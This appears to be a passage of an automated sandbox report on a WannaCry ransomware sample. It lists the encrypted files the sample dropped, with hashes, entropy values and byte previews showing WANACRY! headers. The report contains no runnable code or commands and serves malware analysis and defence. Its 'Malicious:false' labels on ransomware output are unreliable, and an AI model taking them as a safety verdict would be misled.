                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:L..................F.... ....4.......[.......`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.........{4...............t.2......J.2 .@WANAD~1.EXE..X.......Y.;.Y.;.............................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......X...............-.......W............E5......C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......971342...........hT..CrF.f4... .I.............%..hT..CrF.f4... .I.............%.E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

                                                                                                      C:\Users\user\Documents\NVWZAPQSQL\EIVQSAOTAQ.png

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.798208539309246
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:mLoSIz09psvaQwWaSDFoU6/T//nVWJLhQzYLsL75LxNF9:mL1II9ALjNNY/4JLSzNL75Ll9
                                                                                                      MD5:1E8B90643F5911371763D02F079BCAA0
                                                                                                      SHA1:389BF8F36089F44C7D275E6C560ED1B051AC1EAB
                                                                                                      SHA-256:BB248A2F6932B91D542061BA229988F821DE0D3ACD369835017D86C482DE0F1A
                                                                                                      SHA-512:89DB9416134E963B1BEDA454D0BD6BBBCAC57076DAEED13F5330B33F314DF7ED71F039DD40C2EE682BC0D8A642DF24259424D726ECB04F4B7DDA9EDB1FDCF188
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:J...p...c...^.....G....1.....d.......X.u.....C................"....e..;..#.k|......x.%..\...~.|..........u.....8....v|...+.8=...8..@ .tP.....j..=.K.....1|..h.(.O..O)W..~.p!....q.S..!P.?.*....c.*Z......0j..J....E#Fq<.y..S.K...B].... ......(.{..%.......\..'..7...1..]JU...G...FM..7N....4|s.b.............dm.wT......".E...S_i....X.L...Dw.f(.(.........s.@=...:...9.............b.....G.fc....:>G...v.".:..........@...Ln."....>.l.......S.}Tu [.r.IQl?..P6...i5.....E[..J-....Y....Tb..>..e.Q.."....YVW..*.!..@u...X...z..L..O..a.4.C..T...=..iK....+.^K..C.......v.I.i.....Mf.^.;.7..KdGH...i3......l..>z.h..M..b9.....b..ql...2..Fd...\.D....{hK.....dTG.-..].1(.....$%5.........*......2B........S..%....*W*......L..v.].bQ8H...H.""...^..d=.#liW.r.....l.J.:..3...f7.Ta.......i}.... ...#c....H.t&.iP...`a..?A!../........(.4.;\a.hP...G~qIDn.....A....e..4m......Z;.dKpS./.~. ....8Y.L.x+...pbT....B...5*...Ss.i...,.?.>..+..^...%C.....H>;.EF.@.U.....*.t....H...D..`.2..,..Q.

                                                                                                      C:\Users\user\Documents\NVWZAPQSQL\EIVQSAOTAQ.png.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.860406869252927
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkdCePHJenVoaWamskZvZNI01iJlF0ZAfm57M8Q7dWFS95a9N9oPW7naBLoA9c/l:bkvPZkk1ZNj1ieZ08Q7s62N9oe7n6Zit
                                                                                                      MD5:BCEEC1505BA133B800377E0836260034
                                                                                                      SHA1:C0F46DAD1BF0E507DF3A0C5A4D6E2456DA5F9494
                                                                                                      SHA-256:279272B94144B761920C0840AD3707901F7CE91ED667DE66597EE99D23CAC6AC
                                                                                                      SHA-512:C69006A6214E7FC4BEBE709DF564B6B5A7BAB69B8D743373FABA1EFD58E6E02CA26DEBBD1876B458F6BF7695BB2039BFDE81E9729E67AD300D74605C58100DAA
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....e>....8..H..\B~1.....=*...C.!.9'ISs9l8XM..eT.n....@X...yc.x.T..&.....|...N..O...N. .`...)Dh ........83...[.]oL.xl....!.W.e.(~X...U...p.T......._v...."..(.V._....V..T.U.\X..>.......w....6.-@O'b...{ l.....|wG.....0.;.1..+.._"...(.Qo.Y..7.c.q..!......................%.. ).^-...-......=.l.=%..lH~..C0.K...5.`.........f^.c..`1..}.t5!.h.#UO;&......%..W..Ls....Ua.."....+`J.C..b.h.=A.W3...6....f.".....'I.v...6P..)...C..J7.$...X.{....!...[.`.fK.a..pC22hd..&C+Fk.!?..4.ZF...Z.RT.!.K|...D.Xw.;.)..S...5o..Oy b.N]...yl....I:>".......w..=-.C.g.>52#....R....Dh}X.K.m..k.U..E.v..e.....T.....P.X.2.2.V.~.b.e<..)'.j......0....+We...N.=.Vp...y....:)_..4...........$....89,...0...~.BJ.[..%.&3..`....3.|{K...;S..^.u..H.h.+.kw..)...PmJ...cr1...O.9i=.QR._.k...Rj.i(P......=#....[X..>E...."U..~...]./..+.g.H.t;v......(}3@...?Qqi..YA..c<......\K..0A.\.G./.InGP`..vT#..j.X .<....B.c.e.,'.U....:..l.CC..a.!X.....W.<............D)...q...7...j. l...9.....'z..V

                                                                                                      C:\Users\user\Documents\NVWZAPQSQL\EIVQSAOTAQ.png.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.860406869252927
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkdCePHJenVoaWamskZvZNI01iJlF0ZAfm57M8Q7dWFS95a9N9oPW7naBLoA9c/l:bkvPZkk1ZNj1ieZ08Q7s62N9oe7n6Zit
                                                                                                      MD5:BCEEC1505BA133B800377E0836260034
                                                                                                      SHA1:C0F46DAD1BF0E507DF3A0C5A4D6E2456DA5F9494
                                                                                                      SHA-256:279272B94144B761920C0840AD3707901F7CE91ED667DE66597EE99D23CAC6AC
                                                                                                      SHA-512:C69006A6214E7FC4BEBE709DF564B6B5A7BAB69B8D743373FABA1EFD58E6E02CA26DEBBD1876B458F6BF7695BB2039BFDE81E9729E67AD300D74605C58100DAA
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....e>....8..H..\B~1.....=*...C.!.9'ISs9l8XM..eT.n....@X...yc.x.T..&.....|...N..O...N. .`...)Dh ........83...[.]oL.xl....!.W.e.(~X...U...p.T......._v...."..(.V._....V..T.U.\X..>.......w....6.-@O'b...{ l.....|wG.....0.;.1..+.._"...(.Qo.Y..7.c.q..!......................%.. ).^-...-......=.l.=%..lH~..C0.K...5.`.........f^.c..`1..}.t5!.h.#UO;&......%..W..Ls....Ua.."....+`J.C..b.h.=A.W3...6....f.".....'I.v...6P..)...C..J7.$...X.{....!...[.`.fK.a..pC22hd..&C+Fk.!?..4.ZF...Z.RT.!.K|...D.Xw.;.)..S...5o..Oy b.N]...yl....I:>".......w..=-.C.g.>52#....R....Dh}X.K.m..k.U..E.v..e.....T.....P.X.2.2.V.~.b.e<..)'.j......0....+We...N.=.Vp...y....:)_..4...........$....89,...0...~.BJ.[..%.&3..`....3.|{K...;S..^.u..H.h.+.kw..)...PmJ...cr1...O.9i=.QR._.k...Rj.i(P......=#....[X..>E...."U..~...]./..+.g.H.t;v......(}3@...?Qqi..YA..c<......\K..0A.\.G./.InGP`..vT#..j.X .<....B.c.e.,'.U....:..l.CC..a.!X.....W.<............D)...q...7...j. l...9.....'z..V

                                                                                                      C:\Users\user\Documents\NVWZAPQSQL\EOWRVPQCCS.jpg

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.801737244227275
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:cOt0E4wlWFNHl+9wkpr0ZBbs4NZVjKaw2mTv4Gn2wg5n:Dtf4VNHl7k9WA4NT+aZmTvte
                                                                                                      MD5:A0CD7E7DE9EAAE14DDEED76B16CA0471
                                                                                                      SHA1:C2855BD4A559AA1B9905C1F658F951C4E979941A
                                                                                                      SHA-256:40B641F6EDEB08EF63C7D57E0CAAD23C441DB0FA745A85A6A428EBF0EBBE7468
                                                                                                      SHA-512:103CECCAD1577C142EF085B9412FA87E78E7E1C9575A96EC539FE05C8156B9C25C59B7C8A8DCEBBDCA31869A818D614144C7B54A5C8150D5362891C21FE374F0
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:E.h{.6m...wC%.i{..(~..2~Dk....oY0.(..K52\.`......P..~....p:~..8.D..".]S\.m...#.|G.LZ!G..cR.e\9.S..'..;..^&4..m.J.|a^..[tm..P...Y...{s./!h..;It2`...R.!..]=....}v...:....Z.nz...0...eHg..6..8.F.^..I...`.S...:...k5.3.k.1AW...>...OQ..r.(..=.Q.A86..#&.k.....0.;....%J.. Ft.%.tvA.........._.3(.?t{-.1.L.....,..\/..I.....u\/..y.R./."' )..Z.... =.V...k...$.#.yz._p...j........:....U5.9.pR2.....b=u/.+.sO......A...5.P.......;.Q. ..9qXjG...Xq..F`hr.`.7...$}.(.=...L.A.}.\....r..&?A.................,*.[...c.9..i}.1..9....~j...;....Dq..-.#.E.9.3.MU#O...`.....~..@..Pf...:,.x.....0.V.....S.:.1.Ly....L..q...lw..).;.p.}..j].....V..63%...x..^...N..C!.....\...^......3.t...Ph.V....M.........r...e..#=^.X7..(.3C.....n......8.u...9*.b..M....W.'K\6....k63.5.N..r.)O...C....F....K....O%tD.x...Q._.&u$.S....o6.....R....nezh.....Z.@.y...YG..... ].....A..E..S....k.2z..Fp.6...tQn..J.0...-)he3...\t(...eD.l_|....._r..k..._e.p.C.W,..."..0..P.d.z.#o..Lk.#....h7.\s.>.......

                                                                                                      C:\Users\user\Documents\NVWZAPQSQL\EOWRVPQCCS.jpg.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.82577095417056
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkYeUjy18tLlIUJDWd6ix3rqfL8JCUgM3fUjdwb4yjBNOHsf/UpkPt04K:bk/6y18tJ7D3u3rwL3Un3IOb4tertK
                                                                                                      MD5:92686C55585D4725D0AD159A07EEC274
                                                                                                      SHA1:6535EDFDC97AB10D02504A13F2E930B0ECCE5146
                                                                                                      SHA-256:D51C6E73AC203D79B27EAFABF176A43B7DFC926B6D4428AB2E8ECFACD16730F9
                                                                                                      SHA-512:A5A972607EBDC19945DCEAD0349EBC1282E187B28D54199CC63739E90BFBFF6D3C93A9093E178DA74ACD9990FB29064BC42061AAFCB7F58B675A5749D0A18E40
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....N=.uF.S.....\d.e...z..ZG8. ....Zj..enO,n..A............e......Q...%..&.7..7.!.{......P..]..)...-.+x{.nj.../..L....D......W.@p.l...`S1u.....t*Z}K........{.u2(......^._.0=b.....+....P. ...i{..J..f..|+1........v..W.`r..x.x.e..zI.L...`...&.X.h..Y.............Prk.J.|.Q]o.8..P...G....B......... ND:.eW...f.$J..VP.<>NQ....W.ePJ.O]AJl....@u.:....g}.m}.1.]..<..Kw.c...I..w...s.MC...\..?.@w..{.<..@..0....U..m..p..}...w.C.A<.^.T.....7.....I.b....D3...k...6..u..*90.UW.....i..#.b.I......c...'Y.....l....c....f.i.5C...A.l.....o...<...B.......t....);H.e.\r.............z..&.3.tz.C.6.g..5G...i|x....JE..V....kb...tc.|.X8..}.t>r...y..'o.....<f..]...<.bo9|..5q...^.|...G.".py.H>...Wt.yeG.F8_.N..o..MS.Z..|n..hf"\.. ......#/..=.k..&.,....,..L:o.....Z:BL%..ti...&q5...U.....MOLF.j.J......(k....Sb...a..)i..\+."Kt....?..|^j.u.......7.H...qv.....#....@...&w.d............J...VizB_r.....O.VI.n|5..G....o........:......i >.R...N..$6....OGF'...!xR..+

                                                                                                      C:\Users\user\Documents\NVWZAPQSQL\EOWRVPQCCS.jpg.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.82577095417056
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkYeUjy18tLlIUJDWd6ix3rqfL8JCUgM3fUjdwb4yjBNOHsf/UpkPt04K:bk/6y18tJ7D3u3rwL3Un3IOb4tertK
                                                                                                      MD5:92686C55585D4725D0AD159A07EEC274
                                                                                                      SHA1:6535EDFDC97AB10D02504A13F2E930B0ECCE5146
                                                                                                      SHA-256:D51C6E73AC203D79B27EAFABF176A43B7DFC926B6D4428AB2E8ECFACD16730F9
                                                                                                      SHA-512:A5A972607EBDC19945DCEAD0349EBC1282E187B28D54199CC63739E90BFBFF6D3C93A9093E178DA74ACD9990FB29064BC42061AAFCB7F58B675A5749D0A18E40
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....N=.uF.S.....\d.e...z..ZG8. ....Zj..enO,n..A............e......Q...%..&.7..7.!.{......P..]..)...-.+x{.nj.../..L....D......W.@p.l...`S1u.....t*Z}K........{.u2(......^._.0=b.....+....P. ...i{..J..f..|+1........v..W.`r..x.x.e..zI.L...`...&.X.h..Y.............Prk.J.|.Q]o.8..P...G....B......... ND:.eW...f.$J..VP.<>NQ....W.ePJ.O]AJl....@u.:....g}.m}.1.]..<..Kw.c...I..w...s.MC...\..?.@w..{.<..@..0....U..m..p..}...w.C.A<.^.T.....7.....I.b....D3...k...6..u..*90.UW.....i..#.b.I......c...'Y.....l....c....f.i.5C...A.l.....o...<...B.......t....);H.e.\r.............z..&.3.tz.C.6.g..5G...i|x....JE..V....kb...tc.|.X8..}.t>r...y..'o.....<f..]...<.bo9|..5q...^.|...G.".py.H>...Wt.yeG.F8_.N..o..MS.Z..|n..hf"\.. ......#/..=.k..&.,....,..L:o.....Z:BL%..ti...&q5...U.....MOLF.j.J......(k....Sb...a..)i..\+."Kt....?..|^j.u.......7.H...qv.....#....@...&w.d............J...VizB_r.....O.VI.n|5..G....o........:......i >.R...N..$6....OGF'...!xR..+

                                                                                                      C:\Users\user\Documents\NVWZAPQSQL\GIGIYTFFYT.mp3

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.822846200837177
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:12:nafykEKprctxYfxM7iOErJ1iT4pOwt/xZy1qmr7x3u7MMFahcd27n+i99o0CU4+1:nChetxgM7jnTCOcJZw9u7nMywm8POVw
                                                                                                      MD5:8D75ED8A1EAAEB73675B3E31E61E3BF7
                                                                                                      SHA1:10901CD8DC17CEE73A4246842DF85A615C038028
                                                                                                      SHA-256:5FA22BC30642EBA2BD77104DB365A4B61EEB11E59D6241090FF71231C6AE4883
                                                                                                      SHA-512:028F31E45A0EDE4AA9AD91982BEC4C7039397966308B561277E3125AC379E5E1733F3B7CD55A98C8CE2DC3E0079C4C28DECDFBEE3432BBBB6C319065B3E129EE
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:G...Ko...`.@z.B}?.Cm..y .c..=....3V..#{..K.N.L!..YW&"f.-.....W/....+..He..L4 8~x.I....P.4.b...}...Y....pl..Ax..R.#........7.{.(%^..p{....e..@..'...6....1-.{.c..g...e.L..p.Y.n:(,L<....B...'.1.F...L.........+.X..z...KR?..@.w.0.c.....~.<L.+...Fx1s.qh........*o.j..W..r...4B...(...u..l._h..8..o..g2.\L...3.4.#.VW.(..Z..X..Q.M.E.]V...3.1a...M.Ya-.4....99=I.!(,..6W...TR.n..(["~../4H....$..b5..)..L.....'W.q..}....w..-...>9p>LB......L.1..e....!......q.....#m..]n.*u..T,..h.R|.mM..\....p.._....d/....3.,y..BA9.V.$TS.6....CA.......Lt1.!<D.o.sY1....i.t.C}... %U.Y.*&?.<...w8+,.c. ...5 .....C[........l....`J|Z.g....Y.i;..`i.+?HG/.z..[..b..rxlFW.o....R......u.|..,...Z.K..r\..rTV.!...:'..K...Q...-.A....qT.S,;...o.>._t.I(S......\{).a......).O.o`.(a... .pZ;6-...tE.V.Nm..8.J..D..f.,.e..Q..[..R.h......./.f..+.|<.dT@nl.....CKB.....C..7....A88...#..8.8..+..;.M.Z...O.i....#....{U2X5.o|,...0>.....M`Q.....r.\......2.K..!Qz...S.i._.2.m#.....R..../..q..1.}.-;.P

                                                                                                      C:\Users\user\Documents\NVWZAPQSQL\GIGIYTFFYT.mp3.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.872384693265994
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkGosnvlXyLGZr/a+DRxs0tLeeluqu34EhGE53aUFk6Z2pbo6cWs3UmfH00:bkGosvULGZja+fld4XqXE6cW7eP
                                                                                                      MD5:D22A450781FECB84B303EC04D30946E0
                                                                                                      SHA1:32DA742601F25BD67603CDDFD4117FE084BDBF24
                                                                                                      SHA-256:0F4D0988B251FF91972E801F809C37063527C7C83CE7D06BF67BEFECF76D803A
                                                                                                      SHA-512:07E532F52BA637F30B4B33874FFF4BDB0BFFFCCBB7E62F7294178118549C395C2F5B0B9EC865091881549CB8536DFBB58B9831277C439766CDCF2E49395CE6CD
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!..........`}....../.H.@...-.#cSf.vz.....=>Q.T..b..\&~..!...)%..&....1JEE7.G.xY..P.+.......@J..^2.....F...S.t.?..V....V....5..N4.....q...4..:..=R&.....K....,...p..s.....!*.rvq...I19i.....S.R..b...o....>m..P....a.v.....YJ(.n}....]^...7......)...5.W.h.T.. .k.............8...l..%'..H.d..F.K^5B,1[B.86.O..k......=9.o...*.N..N.a.....io........<.0X.%....z..A.L^....&P...u..4..I=8.........C@.a.^....u.TZS?x...X$eK.m'fA.?..`..9......F...).<..W..u...0.q...F.hA..y.,..J.......'c..c{...].x.K.....+RnBD.{E." iv..!.T.....r.U....pb.htK9..l._..p.....P.q.........6..V........&...p...h..Q..O.2g8~6. ...#m..[......m.F.*x..=5.>}..._....d..1-.Ed@/7.?[.<g...}G....E....B_.`..4..g..L...E....p.5aF.Z............;.rv..^X.4h...4/..9~.'...^O.S....`..... s..0I-7..&.C.~..!.`.......aH..Oj...'i6.f..c..J...M.;..>I.r...\.S..I..._1._....].......H....S.M....;9+W...d.).....rN..*d=..2.=Y...{ ....s...V....8)>(....d.X.2.t......E..5.'D0i.y.'=.jV/.3$._j..j...... +w..p....f...F._2.Q0w.2.{

                                                                                                      C:\Users\user\Documents\NVWZAPQSQL\GIGIYTFFYT.mp3.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.872384693265994
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkGosnvlXyLGZr/a+DRxs0tLeeluqu34EhGE53aUFk6Z2pbo6cWs3UmfH00:bkGosvULGZja+fld4XqXE6cW7eP
                                                                                                      MD5:D22A450781FECB84B303EC04D30946E0
                                                                                                      SHA1:32DA742601F25BD67603CDDFD4117FE084BDBF24
                                                                                                      SHA-256:0F4D0988B251FF91972E801F809C37063527C7C83CE7D06BF67BEFECF76D803A
                                                                                                      SHA-512:07E532F52BA637F30B4B33874FFF4BDB0BFFFCCBB7E62F7294178118549C395C2F5B0B9EC865091881549CB8536DFBB58B9831277C439766CDCF2E49395CE6CD
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!..........`}....../.H.@...-.#cSf.vz.....=>Q.T..b..\&~..!...)%..&....1JEE7.G.xY..P.+.......@J..^2.....F...S.t.?..V....V....5..N4.....q...4..:..=R&.....K....,...p..s.....!*.rvq...I19i.....S.R..b...o....>m..P....a.v.....YJ(.n}....]^...7......)...5.W.h.T.. .k.............8...l..%'..H.d..F.K^5B,1[B.86.O..k......=9.o...*.N..N.a.....io........<.0X.%....z..A.L^....&P...u..4..I=8.........C@.a.^....u.TZS?x...X$eK.m'fA.?..`..9......F...).<..W..u...0.q...F.hA..y.,..J.......'c..c{...].x.K.....+RnBD.{E." iv..!.T.....r.U....pb.htK9..l._..p.....P.q.........6..V........&...p...h..Q..O.2g8~6. ...#m..[......m.F.*x..=5.>}..._....d..1-.Ed@/7.?[.<g...}G....E....B_.`..4..g..L...E....p.5aF.Z............;.rv..^X.4h...4/..9~.'...^O.S....`..... s..0I-7..&.C.~..!.`.......aH..Oj...'i6.f..c..J...M.;..>I.r...\.S..I..._1._....].......H....S.M....;9+W...d.).....rN..*d=..2.=Y...{ ....s...V....8)>(....d.X.2.t......E..5.'D0i.y.'=.jV/.3$._j..j...... +w..p....f...F._2.Q0w.2.{

                                                                                                      C:\Users\user\Documents\NVWZAPQSQL\GRXZDKKVDB.xlsx

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.825286316045983
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:BsAfpaweZPiUflGM2vgJZHqjb5nDCzPfzwcP9odzMjtimVpDQGnd:BN5eZPiUIfvgJo5DCznE26zMjtiYVnd
                                                                                                      MD5:3959E145F8A3CD9840F7265FAFF2D2EF
                                                                                                      SHA1:D21EB223D1D046E2578CAF453C1A2B51309CE3DF
                                                                                                      SHA-256:4236D05B392106E66E6747E68F20C6287AC54B3E885ACDF515C9BDA503458C5A
                                                                                                      SHA-512:FB3C9F4536030349FCC9E4B0DF1F3EDB026AA2CA76E5686CBDB4A60B78E628CA7EAF42197A7D2AEFC3C6A7ED6AD638E12A9AEE9B315FA8A178C759237576842A
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:T....}...t...?...4.).......!(..5....$.<E.d.p....wG.JH)....>...9.kUl*BFz...g....j.......TZ..mW....x....e,6..{^u.}.E4B..i..vO..........e._.......T....7......Z..h.@.....,.fR...|..4........L...QK..........g...We.Q..5.o..):Qd..H.......-.6&.Ra..Y8.X.1Jx.w.,..9..L....V........^.......a...[.c.G..QM...E8....R?$(M4..YY..+..i..a..#.Hf...5.<..@;w.1.....R.?. ..Zb.M.B.Y.W.5.DN..kD>.NW...wv.Z..Xc....].2.f~....)K...m..c.(Y....&._.L!...Tn....)..a.D..pp.b..AZ#......E...... ..Ot.....q<>a..h..C....B:.....&VmHi.d.WN..:9o.....kS@0.-...7..M>u.G..>)K..f.H..pz.M....n..7.!.....9....]N...0.....}0D..mjp.$HB.#Wi..,'....p.6. .M.....!...]]...f.zp.3|..I.Z3&.`1J....y....G.........K...W......10.n+A.F.....]}.$?8A...G..#..d.5...9..9j.6....Y#.5)9....w....hp.............^s.....NT..f...Q~..j.....i.g.P..n.....39.}..rQ..70..B%j.].....W..............hU....9+..&b#.!^..k=X..DOi.b..xR.gu..6...{..XOl0..;$...n.b[...Z..j.\.....C...._..S.v....D..]e..I.^..`p...i<$.......4...0....#.

                                                                                                      C:\Users\user\Documents\NVWZAPQSQL\GRXZDKKVDB.xlsx.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.848367375767937
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkYo+3PWVTkGC/6RSTDWf2Cg8CU2jEYXYFA9+z64Qw9h1J7uAEZbm6oe7h7Aojnv:bkW0kGFfFg3GAa6yAAEo6PlaUV
                                                                                                      MD5:E192533A0F72B6297F3032C08D9DFED8
                                                                                                      SHA1:2D21051983B3F67450698103ABDD29ED8B2D6E67
                                                                                                      SHA-256:C4FF77670C6D7191FEC7B968E821097CA726E7F739D084FEBB66496D35D5AD04
                                                                                                      SHA-512:8785CF3DA952292473490ADEBF8949300586C4A4783079F423C63AAAAEBE5C0F8FE3C0D584E5BE0B76923E3E7C0267A57008F04D946DE71E52201985D6C795E5
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.......v@#...;./....'...7...A~.....o8PS...Z....I..2uv.>...+knL..N..b-.8......N.v...bt.6l:.j............"..5......V....).D.q4.U...gW!..`.qA.......,.Iu..{....`.........g..>8....<...m..7..XHZ8...rcbN7.B-....J.~6.4.....">....M...R-.....d......+y~i.\..'............U.e..Rz.REIw.`../Ag}.w..\z..l.D......)...o.<2&.GM.;n....!q..FM.su$..H!....ieq..`.......[..<..O.)r.....C...p...\.b...5.xQT.0....(Rb.&..N....Wv.k.{...y.M...O.2}......;.obg.7..Y.(&,..6_I.kH.%.Z...L..R..fc.l.&W.B.!)..x.Q..^^.T..B.t.....g.....+..{pI..\.6...g..O....z.h+$.{..*.... )Q.:F.[.(..Q.-.2.......H^.".@..6d.V.,].&l.>..$h......?.DP..q.....=.,.BR.."U(....7)..[6.@h..x.Y..Q.h.-{~..'..%.]..4..b..1.d......A......[@..|`....b...a.........'.\0.\...Q..o......#.mSy..............w.bL..D.f......N...T.E..=SJ.^.........r........H.a...8...Bi...#F..../..&....Nx.......:.&2&.9j|........q.5..M'3ks.Y..@.N... GqX\;.*2zT9$..;...69.j...=......-(...e?.+{..<J....*.Qg.XW...%@+.t....D....W2....

                                                                                                      C:\Users\user\Documents\NVWZAPQSQL\GRXZDKKVDB.xlsx.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.848367375767937
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkYo+3PWVTkGC/6RSTDWf2Cg8CU2jEYXYFA9+z64Qw9h1J7uAEZbm6oe7h7Aojnv:bkW0kGFfFg3GAa6yAAEo6PlaUV
                                                                                                      MD5:E192533A0F72B6297F3032C08D9DFED8
                                                                                                      SHA1:2D21051983B3F67450698103ABDD29ED8B2D6E67
                                                                                                      SHA-256:C4FF77670C6D7191FEC7B968E821097CA726E7F739D084FEBB66496D35D5AD04
                                                                                                      SHA-512:8785CF3DA952292473490ADEBF8949300586C4A4783079F423C63AAAAEBE5C0F8FE3C0D584E5BE0B76923E3E7C0267A57008F04D946DE71E52201985D6C795E5
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.......v@#...;./....'...7...A~.....o8PS...Z....I..2uv.>...+knL..N..b-.8......N.v...bt.6l:.j............"..5......V....).D.q4.U...gW!..`.qA.......,.Iu..{....`.........g..>8....<...m..7..XHZ8...rcbN7.B-....J.~6.4.....">....M...R-.....d......+y~i.\..'............U.e..Rz.REIw.`../Ag}.w..\z..l.D......)...o.<2&.GM.;n....!q..FM.su$..H!....ieq..`.......[..<..O.)r.....C...p...\.b...5.xQT.0....(Rb.&..N....Wv.k.{...y.M...O.2}......;.obg.7..Y.(&,..6_I.kH.%.Z...L..R..fc.l.&W.B.!)..x.Q..^^.T..B.t.....g.....+..{pI..\.6...g..O....z.h+$.{..*.... )Q.:F.[.(..Q.-.2.......H^.".@..6d.V.,].&l.>..$h......?.DP..q.....=.,.BR.."U(....7)..[6.@h..x.Y..Q.h.-{~..'..%.]..4..b..1.d......A......[@..|`....b...a.........'.\0.\...Q..o......#.mSy..............w.bL..D.f......N...T.E..=SJ.^.........r........H.a...8...Bi...#F..../..&....Nx.......:.&2&.9j|........q.5..M'3ks.Y..@.N... GqX\;.*2zT9$..;...69.j...=......-(...e?.+{..<J....*.Qg.XW...%@+.t....D....W2....

                                                                                                      C:\Users\user\Documents\NVWZAPQSQL\NVWZAPQSQL.docx

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.8243653430718645
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:chtAm4sFw2IYP/uA+zQPGPW2neolJv/YVnt:QuloX2A+cz2nZtYb
                                                                                                      MD5:5E749218C95402077224808E63B0D607
                                                                                                      SHA1:3569BD4729C720596864E06FCD926F8C9BF65A5A
                                                                                                      SHA-256:24978FA79C05A0A035AD141AF6BBB8847849FB7CAFEBEADD4EAAB7A021861884
                                                                                                      SHA-512:0EE7B08EA4A76DD0B7E0EA4C7D3887511874F90EAF4D0B43627DE89F2D8224AC3013A7C679DB9B13DC23EE35D661004FC4DD9FFB2443506F90268FC8C3367C3E
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
